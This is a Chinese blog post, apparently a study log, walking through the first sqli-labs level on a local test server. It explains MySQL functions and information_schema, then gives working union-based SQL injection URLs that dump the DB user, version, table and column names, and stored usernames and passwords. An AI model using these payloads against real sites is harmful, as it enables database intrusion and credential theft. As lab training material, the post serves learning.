zoukankan      html  css  js  c++  java
  • sqli-labs day1

    练习sql注入的

    github:https://github.com/Audi-1/sqli-labs

    为了方便调试,可以在每关的index.php加上如下代码

    echo "your sql statement is " . $sql . "<br>";
     
    预备知识:
    #的URL编码 %23
    其他常见编码可以见 http://www.w3school.com.cn/tags/html_ref_urlencode.html
     
    mysql常用函数
    mysql_fetch_array() 函数从结果集中取得一行作为关联数组,或数字数组,或二者兼有
    concat()连接字符串函数
    concat_ws()的第一个参数是其他参数连接的分隔符
    group_concat() 把查询结果连接成一个字符串返回
    user()返回当前数据库连接使用的用户
    database()返回当前连接使用的数据库
    version()返回当前数据库的版本
     
    使用到的工具:
    firefox hackbar
     
    写在前面:www.test.com就是127.0.0.1
     
    获取数据库信息:
    http://www.test.com/sqli-labs-master/Less-1/?id=0' union select 1,concat_ws(char(32,58,32),user(),version()),3#
     
    介绍一下mysql的数据库information_schema:
    它是系统数据库,记录是当前数据库的数据库,表,列,用户权限等信息
    该数据库中常用的几个表:
    SCHEMATA:储存mysql所有数据库的基本信息,包括数据库名。
    TABLES:储存mysql中的表信息,也有数据库名这一列,包括这个表是基本表还是系统表,数据库的引擎是什么,表有多少行,创建时间,最后更新时间等。
    COLUMNS:储存mysql中表的列信息,也有数据库名和表名称这两列包括这个表的所有列以及每个列的信息.
    注意:查询information_schema中的信息时,使用where语句的那个值不能直接用英文,要用单引号包裹着,当然用十六进制表示也可以,数值类型的就不用单引号了。
    获取表名:
    http://www.test.com/sqli-labs-master/Less-1/?id=0' union select 1,2,table_name from information_schema.tables where table_schema=0x7365637572697479#
     
    limit  第一个参数是结果集中的第几个,跟C语言的数组的索引一致,第二个参数就是个数。如 limit 1,2返回第二行和第三行,因为1表示是第二行,2表示行数是2。
    列举表名:
    http://www.test.com/sqli-labs-master/Less-1/?id=0' union select 1,table_name,3 from information_schema.tables where table_schema=0x7365637572697479 limit 1,1#
     
    获取user表列名
    http://www.test.com/sqli-labs-master/Less-1/?id=0' union select 1,column_name,3 from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x7573657273#
     
    最后,获取用户密码payload
    http://www.test.com/sqli-labs-master/Less-1/?id=0%27%20union%20select%201,2,concat_ws(char(32,58,32),id,username,password)%20from%20users%20limit%202,1%23
  • 相关阅读:
    BFPRT算法O(n)解决第k小的数
    Manacher练习
    KMP全家桶练习
    Codeforces Round #552 (Div. 3)
    Manacher's Algorithm
    poj 2559 (单调栈)
    单调队列
    单调栈
    multiset用法
    poj3660 Cow Contest(Floyd-Warshall方法求有向图的传递闭包)
  • 原文地址:https://www.cnblogs.com/wxylyw/p/9799312.html
Copyright © 2011-2022 走看看